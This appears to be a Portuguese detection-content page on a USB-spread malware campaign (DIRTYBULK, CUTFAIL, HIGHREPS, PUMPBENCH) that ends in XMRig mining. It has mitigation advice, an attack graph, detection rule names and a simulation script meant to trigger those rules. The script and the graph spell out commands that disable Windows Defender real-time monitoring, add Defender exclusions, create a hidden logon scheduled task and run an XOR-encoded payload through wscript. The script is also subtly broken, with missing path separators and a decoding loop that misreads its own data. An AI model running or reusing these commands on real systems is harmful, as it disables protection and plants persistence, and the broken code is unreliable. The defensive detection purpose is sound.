DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O relatório detalha uma campanha de infecção dirigida por USB que utiliza arquivos de atalho maliciosos para entregar uma cadeia de malware em múltiplos estágios para mineração de criptomoedas. A execução inicial carrega um DLL chamado printui.dll de um diretório falso System32, depois transfere para um dropper (CUTFAIL), que implanta ainda um downloader (HIGHREPS) e uma backdoor (PUMPBENCH). A backdoor PUMPBENCH se comunica com um servidor PostgreSQL para buscar cargas adicionais e, por fim, lança mineradores XMRig. A operação mantém persistência através de exclusões do Windows Defender, tarefas agendadas e serviços fraudulentos.
Análise
Pesquisadores da Mandiant desconstruíram a cadeia de ataque e destacaram quatro principais famílias de malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Eles capturaram os padrões de nomeação de arquivos dos atores, o abuso de carregamento de DLL do printui.dll, alterações no registro e indicadores de rede associados. A análise também traçou técnicas de persistência, incluindo tarefas agendadas e serviços vinculados ao Grupo de Serviços DCOMLaunch.
Mitigação
As defesas recomendadas incluem bloquear a execução de arquivos de atalho originários de mídias removíveis, monitorar comandos que adicionam exclusões ao Windows Defender, detectar atividades suspeitas de carregamento lateral do printui.dll e buscar serviços ou tarefas agendadas que usam nomes aleatórios de seis dígitos. Aplicar controles de rede contra domínios maliciosos conhecidos e resolvedores DoH pode limitar ainda mais os canais de comando e controle.
Resposta
Uma vez detectado, isole o host impactado, remova o DLL malicioso e componentes relacionados, exclua as entradas de serviço e tarefa agendada ofensivas, e restaure as configurações do Windows Defender limpando as exclusões. Realize uma varredura forense abrangente para descobrir cargas residuais e rastreie conexões para a infraestrutura identificada de C2 PostgreSQL. Finalmente, atualize o conteúdo de detecção para cobrir o uso observado de linha de comando e comportamentos de criação de arquivos.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[“<b>Ação</b> – <b>T1674 Injeção de Entrada</b>: Vítima insere USB contendo atalho malicioso”] class node_usb_insert action node_lnk[“<b>Arquivo</b> – <b>Atalho Malicioso</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>Ferramenta</b> – <b>wscript.exe</b>: Executa VBScript”] class node_wscript tool node_vbs[“<b>Arquivo</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>Ação</b> – <b>T1547.009 Modificação de Atalho</b>: LNK usado para persistência”] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[“<b>Arquivo</b> – <b>Diretório Falso</b> C:\\Windows<space>\\System32 (espaço final)”] class node_masq_dir file node_printui_exe[“<b>Processo</b> – <b>printui.exe</b> (legítimo)”] class node_printui_exe process node_printui_dll[“<b>Arquivo</b> – <b>printui.dll</b> (malicioso)”] class node_printui_dll file node_dll_hijack[“<b>Ação</b> – <b>T1574.001 Sequestro do Fluxo de Execução: DLL</b>”] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[“<b>Comando</b> – Add‑MpPreference -ExclusionPath \”C:\\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>Ação</b> – <b>T1546.013 Perfil do PowerShell</b>: Executa comando de exclusão”] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[“<b>Ação</b> – <b>T1543.003 Criar Serviço do Windows</b>”] class node_service_create action node_service[“<b>Serviço</b> – <b>123456</b> criado sob DcomLaunch com ServiceDll”] class node_service service node_scheduled_task[“<b>Comando</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\\Windows\\System32\\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>Ação</b> – <b>T1037.001 Script de Logon</b>: Executa console_zero.exe no logon do usuário”] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[“<b>Ferramenta</b> – Consultas DNS‑over‑HTTPS para dns.google”] class node_doh tool node_fastflux[“<b>Ação</b> – <b>T1568.001 DNS Fast Flux</b> e <b>T1568.003 Cálculo de DNS</b>”] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[“<b>Malware</b> – Minerador XMRig”] class node_xmrig malware node_mining[“<b>Ação</b> – <b>T1496.001 Sequestro de Recursos</b>: Criptomineração no host comprometido”] class node_mining action %% Connections node_usb_insert –>|contém| node_lnk node_lnk –>|executa| node_wscript node_wscript –>|executa| node_vbs node_vbs –>|cria diretório de mascaramento| node_masq_dir node_vbs –>|copia executável legítimo| node_printui_exe node_vbs –>|substitui DLL por versão maliciosa| node_printui_dll node_printui_exe –>|carrega| node_dll_hijack node_dll_hijack –>|carrega DLL maliciosa| node_printui_dll node_printui_dll –>|aciona| node_ps_exclusion node_ps_exclusion –>|executado via| node_ps_profile node_ps_profile –>|cria| node_service_create node_service_create –>|cria| node_service node_service –>|habilita| node_scheduled_task node_scheduled_task –>|executa no logon| node_task_action node_task_action –>|baixa endereço C2 via| node_doh node_doh –>|usa| node_fastflux node_fastflux –>|fornece endereço para| node_xmrig node_xmrig –>|executa| node_mining
Fluxo de Ataque
Detecções
Contagem Anormal de Espaços no Nome do Processo / Linha de Comando / Caminho de Arquivo (via cmdline)
Ver
LOLBAS WScript / CScript (via process_creation)
Ver
Modificação Suspeita de Exclusões do Defender (via cmdline)
Ver
Possível Copia e Renomea Executável do Sistema para Evasão (via cmdline)
Ver
Desativar Monitoramento em Tempo Real do Windows Defender e Outras Alterações de Preferências (via cmdline)
Ver
Execução de Simulação
Pré-requisito: Verificação de Pré-vôo de Telemetria & Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para disparar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnóstico incorreto.
-
Narrativa & Comandos do Ataque:
-
Etapa 1 – Soltar VBScript malicioso no drive USB comprometido (por exemplo,
E:payload.vbs). O script desativa a proteção em tempo real do Windows Defender usandoAdd‑MpPreference, criptografa uma carga com uma rotina XOR, e cria uma tarefa agendada para persistência. -
Etapa 2 – Execute o script via
wscript.exepassando a linha de comando de persistência diretamente (para satisfazer a condição conjuntiva da regra). -
Etapa 3 – O script internamente invoca o PowerShell para executar a carga criptografada, demonstrando a “cadeia de infecção”.
-
Etapa 4 – Após a execução, o atacante limpa os artefatos (remove o script, apaga a tarefa agendada).
-
-
Script de Teste de Regressão:
# ------------------------------------------------------------ # Teste de Regressão – Simulação da Cadeia de Infecção por Malware # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Criar carga falsa criptografada com XOR -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Escrever VBScript malicioso ------------------------------------------- @" ' VBScript malicioso – cadeia de infecção Set sh = CreateObject("WScript.Shell") ' Desativar a proteção em tempo real sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Criar tarefa agendada para persistência sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Decriptar e executar carga Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Executar o script via wscript.exe (aciona a regra) ------------- wscript.exe "$scriptPath" /B # -- 4. (Opcional) Aguarde alguns segundos para que a tarefa seja disparada ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Limpeza – remover script e tarefa agendada # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Comandos de Limpeza:
# Remover tarefa agendada residual (se ainda presente) schtasks /Delete /TN "WinUpdateTask" /F # Remover quaisquer arquivos de script remanescentes Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Reativar proteção em tempo real powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"